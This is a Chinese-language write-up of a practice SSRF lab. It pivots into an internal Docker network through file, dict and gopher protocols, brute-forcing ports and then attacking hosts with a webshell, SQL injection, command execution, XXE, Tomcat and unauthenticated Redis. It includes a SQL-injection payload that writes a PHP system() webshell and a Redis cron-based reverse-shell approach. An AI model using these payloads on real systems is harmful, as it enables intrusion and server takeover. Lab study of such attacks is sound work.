ssrf打穿内网
前言
看到国光师傅的文章,复现一遍,靶场搭建来自 https://github.com/Duoduo-chino/ssrf_vul
靶场搭建
复现
ssrf探测内网端口
访问首页
用file协议测试ssrf
探测内网信息,确定是在内网中,可以对其他网段进行探测
用http协议测试
用dict协议探测内网信息,dict协议一般只能探测出一些带tcp回显的端口,使用bp迭代爆破
选定爆破变量为d段和端口
payload1,d段ip
payload2 常用端口
爆破出开放端口情况
整理一下(国光师傅给出的端口开放情况),实际这里是docker搭建会有差别,没有探测到3306,靶机也只开放了7个
1 | 172.72.23.21 - 80 |
22代码执行
这里存在一个代码执行,使用http协议用burp去爆破目录
爆破出phpinfo和一个webshell
拿着webshell执行命令
要注意,这里执行命令如果用空格需要用URL编码空格
如果再bp中需要进行两次编码
23sql注入
http协议探测23,直接告诉我们sql注入
抓包注入,这里用/**/代替空格,可以免去二次url编码,%2523为#的两次编码
发现是root尝试直接写webshell
1 | url=http://172.72.23.23/?id=1'/**/union/**/select/**/1,2,3,'<?php%2520system($_GET[1]);%2520?>'/**/into/**/dumpfile/**/'/var/www/html/x.php'%2523 |
24命令执行
很经典的一个rce
但是这里是post发包,要用gopher协议去发包
关于gopher协议详细介绍 https://www.freebuf.com/articles/web/337824.html
构造一个post数据包,删除这一行,否则会被两次gzip编码
1 | Accept-Encoding: gzip, deflate |
构造一个简单的数据包
1 | POST / |
再将整个数据包用url编码两次,编码两次的数据包就是最终的tcp数据流
1 | url=gopher://<host>:<port>/<gopher-path>_<TCP数据流> |
25XXE
跟命令执行差不多
26tomcat
也是一样,URL编码两次以后用gopher协议去发包
27 Redis未授权
内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:
1 | # 清空 key |
命令格式
1 | dict://ip:port/redis命令 |
写计划任务
1 | # 清空 key |
接受到shell